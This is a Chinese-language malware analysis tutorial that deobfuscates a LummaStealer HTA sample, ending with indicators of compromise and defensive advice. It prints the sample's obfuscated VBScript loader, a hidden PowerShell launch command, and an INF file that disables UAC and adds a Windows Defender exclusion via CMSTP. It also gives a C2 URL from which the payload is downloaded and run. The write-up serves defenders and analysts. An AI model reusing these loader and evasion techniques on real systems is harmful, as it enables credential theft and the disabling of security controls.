一个LummaStealer样本的反混淆分析
字数 1677 2025-08-29 22:41:24
LummaStealer样本反混淆分析教学文档
1. 样本概述
Lumma Stealer是一款针对Windows系统的信息窃取类恶意软件,主要功能包括:
- 窃取浏览器Cookies、密码
- 窃取加密货币钱包信息
- 收集系统敏感信息
传播方式:
- 钓鱼邮件
- 恶意广告
- 破解软件传播
反检测技术:
- 多层混淆
- 反分析技术
- 使用合法系统工具规避检测
2. 样本初始分析
样本类型:HTA文件(HTML Application)
2.1 初始代码分析
样本包含VBScript代码,主要结构如下:
Function Atq(ByVal knR)
' 字符解码函数
End Function
Function wPE()
' 主执行函数
End Function
Function PvZ(ByVal xpT)
' 类型检查函数
End Function
Function NvV(ByVal objectType)
' 对象创建函数
End Function
wPE() ' 执行主函数
2.2 关键函数解析
Atq函数 - 字符解码
Function Atq(ByVal knR)
Dim veG
Dim oEj
oEj = 595
Dim xpT
xpT = PvZ(knR)
If xpT = 7000 + 1204 Then
For Each veG In knR
Dim hma
hma = hma & Chr(veG - oEj)
Next
End If
Atq = hma
End Function
- 功能:将输入数组中的每个数字减去595后转换为ASCII字符
- 示例输入:
Array(682,710,694,709,700,707,711,641,678,699,696,703,703) - 输出:
Wscript.Shell
NvV函数 - 对象创建
Function NvV(ByVal objectType)
Set NvV = CreateObject(objectType)
End Function
- 功能:创建指定类型的COM对象
wPE函数 - 主执行函数
Function wPE()
Dim knR
Dim vUw
vUw = "powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $osJBgA='AAAAAAAAAAAAAAAAAAAAAEDkJGhgMCEdtBzbOahoKRehXhniD6Hff/36dUpdiWTEK5mOjG0myYWyHn9pUwFGqUDQgxSvwr1r1WxbRPlj/yS+a8a1fXx2IdP4jjgjuQbyvkJcRKM4r3evegekIDjj11xRUGOIoyYkFF3b7Z2afFNrz0QCVQ+/PMzSAWf+G0n1fIj6f6PTIGUZLhMtL+YwkP5YYbJIHwUg3utYZe4O3ZObIrkGVgaSiLlM0KdOAv7NRn6O9z0slWh3vO8VkU9rfCTdDLfruFj3QReyHQaly8BiO3Jxsk5M1ovtXti3dJ0tL2/FWvQBDyHeHaFo7etja8SgFEye33WK7LMRu3h3J/JPNg6soUG55ynOYB8b7wubU9SJw4JU8/EiDgSCAUvypOs03yPv8v1xrm/YpCd3WPTDbuywc6wygBR/zzBbGCkPtKp4m44TlAp5yS8WjXAvv6nupWE4xKWGWBbp4vwvr/wg88rtczEJ5gRnjGU2idWSgeYh8bBzY+jJFJUzUSO53qW5qaAKrLflKoNUJyjM44...'"
Dim xLy
Set xLy = NvV(Atq(Array(682,710,694,709,700,707,711,641,678,699,696,703,703)))
xLy.Run(vUw),0,true
self.close()
End Function
- 创建Wscript.Shell对象
- 执行隐藏的PowerShell命令
- 关闭自身
3. PowerShell载荷分析
3.1 初始PowerShell命令
powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $osJBgA='AAAAAA...'}
- 以隐藏窗口方式执行PowerShell
- 包含大段Base64编码数据
3.2 解密分析
解密参数:
- 加密算法:AES
- 模式:ECB
- 填充:无填充(no padding)
- 密钥:Base64编码
- 解密数据:从第16字节开始
解密步骤:
- 提取Base64编码的加密数据
- 使用AES-ECB解密
- 处理解密后的数据:
- 转换为十六进制
- 去除尾部多余的00字节
- 解压得到最终Payload
4. 最终Payload分析
4.1 主要功能组件
WPIA.ConsoleUtils类
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class WPIA.ConsoleUtils {
[DllImport("user32.dll")]
public static extern IntPtr PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
public const uint WM_CHAR = 0x0102;
}
"@
- 导入user32.dll的PostMessage函数
- 定义WM_CHAR常量(0x0102)
Set-INFFile函数
function Set-INFFile {
param(
[string]$InfFile,
[string]$InfContent
)
# 创建INF文件
New-Item -Path $InfFile -ItemType File -Force | Out-Null
# 写入内容
$InfContent | Out-File -FilePath $InfFile -Encoding ASCII -Force
}
- 参数:
$InfFile: INF文件路径$InfContent: INF文件内容
创建的INF文件内容:
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; 关闭UAC
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
; 修改Windows Defender排除规则
powershell -command "Add-MpPreference -ExclusionPath '%AppData%'"
[CustInstDestSectionAllUsers]
49000=AllUserDirID,0
- 功能:
- 禁用UAC(用户账户控制)
- 将%AppData%目录添加到Windows Defender排除列表
4.2 恶意行为
- 在%Temp%目录创建CMSTP.inf文件
- 在%AppData%目录创建file.exe
- 从远程服务器下载恶意文件:
- URL:
http://24.144.70.95/file.exe(已失效) - 使用Net.WebClient下载
- URL:
- 执行下载的恶意文件
4.3 解码函数分析
NUL函数:
- 对两个编码数组进行解码
- 解码结果:
- 第一个数组:
Net.WebClient - 第二个数组:
http://24.144.70.95/file.exe
- 第一个数组:
5. IOC(威胁指标)
-
文件哈希:
- MD5:
f0d9ef8b557debe5d94338cc84c89bdc - SHA1:
54dda938d1b24b8c01cca42f468b1387
- MD5:
-
网络指标:
- C2服务器:
http://24.144.70.95/file.exe
- C2服务器:
6. 防御建议
-
用户教育:
- 不要打开来源不明的HTA文件
- 警惕钓鱼邮件和恶意广告
-
系统加固:
- 保持UAC启用状态
- 定期检查Windows Defender排除列表
-
检测规则:
- 监控%Temp%和%AppData%目录下的可疑文件创建
- 检测CMSTP.inf等可疑INF文件
- 监控PowerShell的隐藏执行
-
企业防护:
- 实施应用程序白名单
- 限制PowerShell执行权限
- 部署EDR解决方案监控可疑行为
7. 分析工具推荐
-
静态分析:
- HTA文件分析:
oledump.py - 脚本反混淆:
CyberChef
- HTA文件分析:
-
动态分析:
- 沙箱:
Any.Run,Cuckoo Sandbox - 行为监控:
Process Monitor,Process Hacker
- 沙箱:
-
网络分析:
- Wireshark
- Fiddler
-
内存分析:
- Volatility
- Rekall